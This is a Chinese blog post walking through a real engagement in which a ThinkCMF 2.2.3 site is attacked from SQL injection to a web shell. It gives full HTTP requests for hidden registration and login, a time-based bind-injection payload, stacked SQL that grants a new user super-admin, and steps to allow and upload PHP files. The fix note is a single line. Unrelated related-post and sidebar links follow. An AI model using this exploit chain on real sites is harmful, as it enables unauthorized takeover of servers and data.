[漏洞案例]thinkcmf 2.x从sql注入到getshell实战
0X00 前言
这个案例是某项目的漏洞,涉及敏感的地方将会打码。
很久没更新博客了,放一篇上来除除草,新的一年会有所转变,以后会有更多领域的研究。
下面是正文
0X01 正文
某厂商某个网站用的是thinkcmf 2.2.3。

thinkcmf 2.2.3系统是存在漏洞的,参考先知上喵呜师傅写的一篇文章(https://xz.aliyun.com/t/3529 )
文章中提到了三个漏洞,一个注入,两个模板注入写shell。
但是系统是部署在linux下面的,模板注入是不行的。
所以文章编辑处的sql注入漏洞是比较好的方法了。
但是这里的注入需要登陆。
虽然网站默认关闭了注册,登陆等前端页面展示。
但其实后端的逻辑是没有关闭的。
所以我们只要抓到注册,登陆的URL就可以注册一个用户,从而利用SQL注入漏洞了。
第一步:注册用户
因为注册用户需要用到验证码,请求验证码的URL为

下面是注册请求包,把验证码放到verify参数里面
POST /index.php?g=user&m=register&a=doregister HTTP/1.1
Host: xx.target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
email=r00tuser@email.com&password=xxxxxxx&repassword=xxxxxxx&verify=8486

成功注册了个用户。
第二步:登陆
同样登陆也需要验证码,同样用上面请求的URL获取一个验证码,填写在verify参数里面
请求包如下:

第三步:注入
因为thinkcmf是用thinkphp 3.2.3的,存在bind 注入,原理就不多解释了,可以参考先知喵呜写的tp安全总结。
请求包如下:
POST /index.php?g=Portal&m=Article&a=edit_post HTTP/1.1
Host: xx.target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
post[post_title]=122&post[post_content]=1&term=123&post[post_title]=aaa&post_title=123&post[id][0]=bind&post[id][1]=0 and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)
由于程序关闭了报错,而且这里是update类型注入,所以这里只能用延时注入。
payload:and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)
意思为猜测当前数据库用户的首位字符的ascii码。
正常请求,返回时间为64。

当猜测ascii码为116时,返回时间为417。

因为thinkphp 底层用的是pdo所写,所以我们是可以执行多语句的。
通过一番延时注入猜测到表前缀为xxxx,表结构大多数不会变,所以我们只要猜测到表前缀即可,通过thinkcmf的源码来注入了。
下面通过注入执行多语句从而将前台用户r00tuse@email.com提升为后台管理员。
首先是注入,设置用户的user_type。
payload:;update `xxxxx_users` set user_type=1 where `user_email`=r00tuse@email.com';

这里还有一步是通过注入获取r00tuser@email.com这个用户的user_id。
payload:and if((select id from xxxx_users where user_email='r00tuser@email.com')=6,benchmark(1000000,sha(1)),1)

用户user_id为6。
接着是修改用户角色为超级管理员。
payload:;INSERT INTO `xxxx_role_user`(`role_id`,`user_id`)values(1,6);

第四步:登陆后台,修改上传配置
用户名:r00tuser@email.com 密码:xxxxxxxxxx
打开链接:http://xx.target.com/index.php?g=admin&m=public&a=login
成功登陆:

修改上传设置,添加上传文件后缀php
http://xx.target.com/index.php?g=Admin&m=Setting&a=upload

最后一步,找一个可以上传图片的地方,直接把php文件上传即可。
http://xx.target.com/index.php?g=&m=AdminPost&a=add&term=

点击图片,直接选择xx.php 即可。
请求包如下,只是打印Hello,World。

在返回包中获取到php存放地址。

最后访问链接:http://xx.target.com/data//upload//ueditor//20190111//5c3838d372091.php

成功getshell。
修复建议:
1):在底层think_filter方法添加bind过滤。具体为
文件地址:simplewind\Core\Mode\Api\functions.php

0x02 说在最后
pdo让很多注入到getshell成为了可能,从注入到getshell一套下来,整个感受就一个字,爽!
[漏洞案例]thinkcmf 2.x从sql注入到getshell实战的更多相关文章
- SQL注入到getshell
SQL注入到getshell 通过本地 pikachu来复现 前提: 1.存在SQL注入漏洞 2.web目录具有写入权限 3.找到网站的绝对路径 4.secure_file_priv没有具体值(se ...
- DM企业建站系统v201710 sql注入漏洞分析 | 新版v201712依旧存在sql注入
0x00 前言 本来呢,这套CMS都不想审的了.下载下来打开一看,各种debug注释,排版烂的不行. 贴几个页面看看 感觉像是新手练手的,没有审下去的欲望了. 但想了想,我tm就是新手啊,然后就继续看 ...
- [代码审计]DM企业建站系统v201710 sql注入漏洞分析 | 新版v201712依旧存在sql注入
0x00 前言 本来呢,这套CMS都不想审的了.下载下来打开一看,各种debug注释,排版烂的不行. 贴几个页面看看 感觉像是新手练手的,没有审下去的欲望了. 但想了想,我tm就是新手啊,然后就继续看 ...
- ZZZPHP1.61 代码审计-从SQL注入到Getshell
近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...
- 然之协同系统6.4.1 SQL注入导致getshell
前言 先知上一个大佬挖的洞,也有了简单的分析 https://xianzhi.aliyun.com/forum/topic/2135 我自己复现分析过程,漏洞的原理比较简单,但是漏洞的利用方式对我而 ...
- 【漏洞复现】PHPCMS wap模块 SQL注入(附EXP)
漏洞影响版本:v9.5.8.v9.6.0 Step1: 访问:http://www.xxx.com/index.php?m=wap&a=index&siteid=1, 获取返回的coo ...
- 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)
前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...
- 手工检测SQL注入漏洞
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...
- 网站sql注入漏洞修复方案之metinfo 6.1.0系列
近日,我们SINE安全对metinfo进行网站安全检测发现,metinfo米拓建站系统存在高危的sql注入漏洞,攻击者可以利用该漏洞对网站的代码进行sql注入攻击,伪造恶意的sql非法语句,对网站的数 ...
随机推荐
- Android Studio导入系统 jar包,编译时优先于查找系统SDK
https://www.cnblogs.com/bluestorm/p/6744140.html
- 同步sync 异步async
线程中 同步任务是串行队列,也就是按顺序执行. 同步任务:不会开辟新的线程,它是在当前线程执行的. dispatch 调度 GCD里面的函数都是以dispatch开头的. 同步任务 步骤: 1. ...
- 光照问题之常见算法比较(附Python代码)
一.灰度世界算法 ① 算法原理 灰度世界算法以灰度世界假设为基础,该假设认为:对于一幅有着大量色彩变化的图像,R,G,B三个分量的平均值趋于同一灰度值Gray.从物理意义上讲,灰色世界法假设自然界景物 ...
- C 语言 register 关键字
register:这个关键字请求编译器尽可能的将变量存在CPU内部寄存器中,而不是通过内存寻址访问,以提高效率.注意是尽可能,不是绝对.你想想,一个CPU 的寄存器也就那么几个或几十个,你要是定义了很 ...
- np.mat()和np.transpose
例子: import numpy as np dataSet = [] with open('/home/lai/下载/20081023025304.plt') as fr: for line in ...
- Pytorch 之 backward
首先看这个自动求导的参数: grad_variables:形状与variable一致,对于y.backward(),grad_variables相当于链式法则dz/dx=dz/dy × dy/dx 中 ...
- Python爬虫-爬取百度贴吧帖子
这次主要学习了替换各种标签,规范格式的方法.依然参考博主崔庆才的博客. 1.获取url 某一帖子:https://tieba.baidu.com/p/3138733512?see_lz=1&p ...
- 【vim】保存文件没有权限 :w !sudo tee %
每当你打开一个你没有写入权限的文件(比如系统配置文件)并做了一些修改,Vim 无法通过普通的 ":w" 命令来保存. 你不需要重新以 root 方式打开文件再进行修改,只需要运行: ...
- zabbix3.0.4添加对指定进程的监控
zabbix3.0.4添加对进程的监控: 主要思路: 通过 ps -ef|grep sdk-push-1.0.0.jar |grep -v grep|wc -l 这个命令来判断进程sdk-push是否 ...
- java.lang.NoClassDefFoundError: com/google/inject/Injector
报错如下: 解决方案: <dependency> <groupId>com.google.inject</groupId> <artifactId>gu ...